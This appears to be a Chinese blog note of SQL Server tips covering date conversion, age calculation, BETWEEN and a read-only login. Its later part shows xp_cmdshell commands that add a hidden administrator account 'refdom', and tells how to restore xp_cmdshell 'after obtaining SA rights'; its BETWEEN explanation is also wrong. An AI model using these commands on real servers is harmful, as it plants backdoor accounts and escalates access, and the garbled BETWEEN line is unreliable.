数据库SQL存储过程的 一些经验
一。DateTime类型的去掉时间部分--转化为字符 来显示
CONVERT(varchar(10),
dbo.tbl_EmpContract.ConEndDate, 111) AS ConEndDate,
二。年龄 的表示。
CAST(DATEDIFF(yy, E.EmpBirthday, GETDATE()) + 1 AS int) AS EmpAge 虚拟年龄
CAST(DATEDIFF(mm, E.EmpBirthday, GETDATE()) / 12 AS int) AS EmpAge 实际年龄
三。时间的检索
SELECT *
FROM tbl_DOC
WHERE (tbl_DOC.DocDateTime >= DATEADD(dd,-3,GETDATE()))
SELECT GETDATE()
SELECT DATEADD(day,-3,GETDATE())
四。NOT BETWEEN 和 BETWEEN
NOT BETWEEN 4095 AND 12000 是 <4095 或 >12000的值
BETWEEN 4095 AND 12000 是>=4095 或 >= 12000 的值
五。怎么样才能是进到企业管理器的人只能看到表里的数据而不能更改
--建一个用户,继承db_datareader 角色
--添加登录
exec sp_addlogin '用户名','密码','数据库'
--添加用户
exec sp_adduser '用户名'
--设置权限
exec sp_addrolemember 'db_datareader','用户名'
让用户以新建的用户登录企业管理器即可!
系统存储过程
Sp_helpdb
Sp_helpdb --查看所有数据库信息
Sp_helpdb @dbname='pubs' --查看指定数据库信息
Sp_spaceused
Sp_spaceused --查看数据库的空间使用情况
Sp_spaceused @objname='employee' --查看指定表的空间使用情况
Sp_dboption
Sp_dboption --查看数据库配置
xp_cmdshell
xp_cmdshell 'dir‘
--以操作系统命令行解释器的方式执行给定的命令字符串
利用xp_cmdshell添加帐号
exec xp_cmdshell 'net user refdom 123456 /add'
exec xp_cmdshell 'net localgroup administrators refdom /add'
--上面两次调用就在系统的管理员组中添加了一个用户:refdom
xp_fileexist,用来确定一个文件是否存在。
xp_getfiledetails,可以获得文件详细资料。
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。
Xp_getnetname,可以获得服务器名称。
获得SA权限后,却不能执行xp_cmdshell存储过程怎么办?
答:可能是已经把xp_cmdshell等扩展存储过程删除了,可以用这个存储过程把xp_cmdshell恢复。 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
系统存储过程分类分组
浙公网安备 33010602011771号